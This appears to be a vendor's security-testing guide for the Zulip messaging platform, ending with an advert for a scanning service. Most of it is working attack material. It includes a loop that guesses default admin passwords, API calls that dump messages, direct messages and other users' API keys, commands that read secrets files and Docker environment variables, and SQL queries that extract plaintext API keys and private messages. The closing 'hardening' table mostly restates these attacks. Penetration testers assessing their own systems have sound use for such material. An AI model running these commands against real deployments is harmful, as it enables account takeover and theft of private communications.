Zulip Security Testing: Default Credentials, API Key, Database, and SECRET_KEY

Zulip is a widely deployed self-hosted team messaging platform used as an open-source Slack alternative — it stores the complete organizational communication history including private messages, direct messages, and file attachments. Key assessment areas: SECRET_KEY is the Django secret key signing session cookies; every Zulip user and bot has a persistent API key stored in plaintext in the database providing full message read/write access; the PostgreSQL database contains all message content; and the admin API enables complete user and organizational data enumeration. This guide covers systematic Zulip security assessment.

Table of Contents

  1. Default Credentials and Admin Access Testing
  2. User API Key Message Access and Enumeration
  3. SECRET_KEY and Database Message Extraction
  4. Zulip Security Hardening

Default Credentials and Admin Access Testing

# Zulip — default credentials and admin access testing
ZULIP_URL="https://zulip.example.com"

# Zulip does not have a single set of default credentials
# But organizations often set up demo/test accounts with weak passwords
# Test common patterns for admin accounts
for CRED in "admin@example.com:admin" "admin@zulip.example.com:admin" \
            "zulip-admin@example.com:password" "it@example.com:admin123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -X POST "${ZULIP_URL}/api/v1/fetch_api_key" \
    -d "username=${EMAIL}&password=${PASS}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('result') == 'success':
    print(f'OK api_key={d.get(\"api_key\",\"\")[:20]}... email={d.get(\"email\")}')
else:
    print(f'FAIL ({d.get(\"msg\",\"\")})')
" 2>/dev/null)
  echo "${EMAIL}: ${STATUS}"
done

# Enumerate public streams (may not require auth in some configs)
curl -s -u "user@example.com:your-api-key" \
  "${ZULIP_URL}/api/v1/streams?include_public=true" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
streams = d.get('streams',[])
print(f'Streams: {len(streams)}')
for s in streams[:10]:
    print(f'  #{s.get(\"name\")} invite_only={s.get(\"invite_only\")} history_public={s.get(\"history_public_to_subscribers\")}')
    print(f'    desc={str(s.get(\"description\",\"\"))[:60]}')
" 2>/dev/null

# Get all organization members (admin)
curl -s -u "admin@example.com:your-api-key" \
  "${ZULIP_URL}/api/v1/users" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('members',[])
print(f'Users: {len(members)}')
for u in members[:10]:
    print(f'  [{u.get(\"user_id\")}] {u.get(\"full_name\")} <{u.get(\"email\")}> bot={u.get(\"is_bot\")} admin={u.get(\"is_admin\")}')
" 2>/dev/null

User API Key Message Access and Enumeration

# Zulip user API key — message access and enumeration
ZULIP_URL="https://zulip.example.com"
USER_EMAIL="user@example.com"
USER_API_KEY="your-zulip-api-key"

# Get all messages from all public streams
curl -s -u "${USER_EMAIL}:${USER_API_KEY}" \
  "${ZULIP_URL}/api/v1/messages?anchor=newest&num_before=100&num_after=0&narrow=[]" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Messages (newest 100): {len(msgs)}')
for m in msgs[:10]:
    print(f'  [{m.get(\"id\")}] {m.get(\"sender_full_name\")} -> {m.get(\"display_recipient\")}')
    print(f'    {str(m.get(\"content\",\"\"))[:100]}')
    print(f'    {m.get(\"timestamp\")}')
" 2>/dev/null

# Get private messages (direct messages) for authenticated user
curl -s -u "${USER_EMAIL}:${USER_API_KEY}" \
  "${ZULIP_URL}/api/v1/messages?anchor=newest&num_before=100&num_after=0&narrow=$(python3 -c \"import urllib.parse,json; print(urllib.parse.quote(json.dumps([{'operator':'is','operand':'private'}])))\")" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Private/DM messages: {len(msgs)}')
for m in msgs[:5]:
    recip = m.get('display_recipient','')
    if isinstance(recip, list):
        recip = ', '.join(u.get('email','') for u in recip)
    print(f'  DM: {m.get(\"sender_full_name\")} -> {recip}')
    print(f'    {str(m.get(\"content\",\"\"))[:100]}')
" 2>/dev/null

# Get API key for another user (admin only) — key escalation
ADMIN_API_KEY="admin-api-key"
curl -s -u "admin@example.com:${ADMIN_API_KEY}" \
  "${ZULIP_URL}/api/v1/users/{user-id}/api_key" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API key: {d.get(\"api_key\",\"\")}')
" 2>/dev/null

SECRET_KEY and Database Message Extraction

# Zulip SECRET_KEY and database message extraction

# Zulip configuration — /etc/zulip/settings.py and secrets
cat /etc/zulip/zulip-secrets.conf 2>/dev/null | grep -E "secret_key|rabbitmq_password|redis_password|email_password|s3_key"
cat /etc/zulip/settings.py 2>/dev/null | grep -E "SECRET_KEY|DATABASE|REDIS|RABBITMQ" | head -20
# secret_key: Django SECRET_KEY for session signing
# rabbitmq_password: RabbitMQ message queue credentials
# redis_password: Redis session/cache credentials
# email_password: SMTP credentials

# Docker environment inspection
docker inspect zulip 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e.upper() for k in ['SECRET','PASSWORD','KEY','TOKEN','SMTP']):
            print(e)
" 2>/dev/null

# PostgreSQL — all Zulip organizational data
psql -U zulip -d zulip 2>/dev/null << 'EOF'
-- All users with API keys (CRITICAL)
SELECT u.id, u.email, u.full_name,
       u.api_key,          -- PLAINTEXT API key
       u.is_active, u.is_realm_admin, u.is_bot,
       u.date_joined
FROM zerver_userprofile u
ORDER BY u.is_realm_admin DESC, u.date_joined ASC
LIMIT 20;
EOF
-- api_key: PLAINTEXT — every user's API key stored unencrypted

-- All messages (including private messages)
psql -U zulip -d zulip 2>/dev/null << 'EOF'
SELECT m.id, m.content,
       sender.email as sender,
       r.type as recipient_type,
       m.pub_date
FROM zerver_message m
JOIN zerver_userprofile sender ON m.sender_id = sender.id
JOIN zerver_recipient r ON m.recipient_id = r.id
ORDER BY m.id DESC
LIMIT 30;
EOF
-- type 1=personal(DM), type 2=stream, type 3=huddle

-- Bot API keys (automation credentials)
psql -U zulip -d zulip 2>/dev/null << 'EOF'
SELECT u.email, u.full_name,
       u.api_key as bot_api_key,
       u.bot_type, u.bot_owner_id
FROM zerver_userprofile u
WHERE u.is_bot = TRUE
ORDER BY u.date_joined DESC
LIMIT 10;
EOF

Zulip Security Hardening

Zulip Security Hardening Checklist:
Security TestMethodRisk
Plaintext API key extraction for all usersSELECT api_key FROM zerver_userprofile — plaintext API keys for every user and bot; each key provides full message read/write access for that user; admin user API keys provide organization-wide message access and user managementCritical
SECRET_KEY extraction and Django session forgeryRead /etc/zulip/zulip-secrets.conf secret_key — forge Django session cookies for any user; bypasses password and 2FA; full admin panel access with admin sessionHigh
Complete message history extraction via APIGET /api/v1/messages with anchor=0 paging — enumerate all stream messages with any authenticated API key; private streams accessible to admin; DMs accessible to sender/recipient API keyHigh
PostgreSQL zerver_message private message extractionSELECT content FROM zerver_message WHERE recipient type=1 — all private/direct messages in plaintext; complete organizational communication history including sensitive discussionsHigh
Admin API user API key retrievalGET /api/v1/users/{user-id}/api_key with admin credentials — retrieve any user's API key via API; combined with user enumeration, obtains keys for all high-privilege usersHigh

Automate Zulip Security Testing

Ironimo tests Zulip deployments for plaintext API key extraction from zerver_userprofile, SECRET_KEY extraction and Django session forgery, complete message history extraction via API, PostgreSQL private message and DM content extraction, admin API user API key retrieval, bot account API key enumeration, RabbitMQ/Redis/PostgreSQL credential exposure, SMTP password extraction from secrets configuration, stream permission misconfiguration (history public to subscribers), and user activity and IP address extraction from admin panel.

Start free scan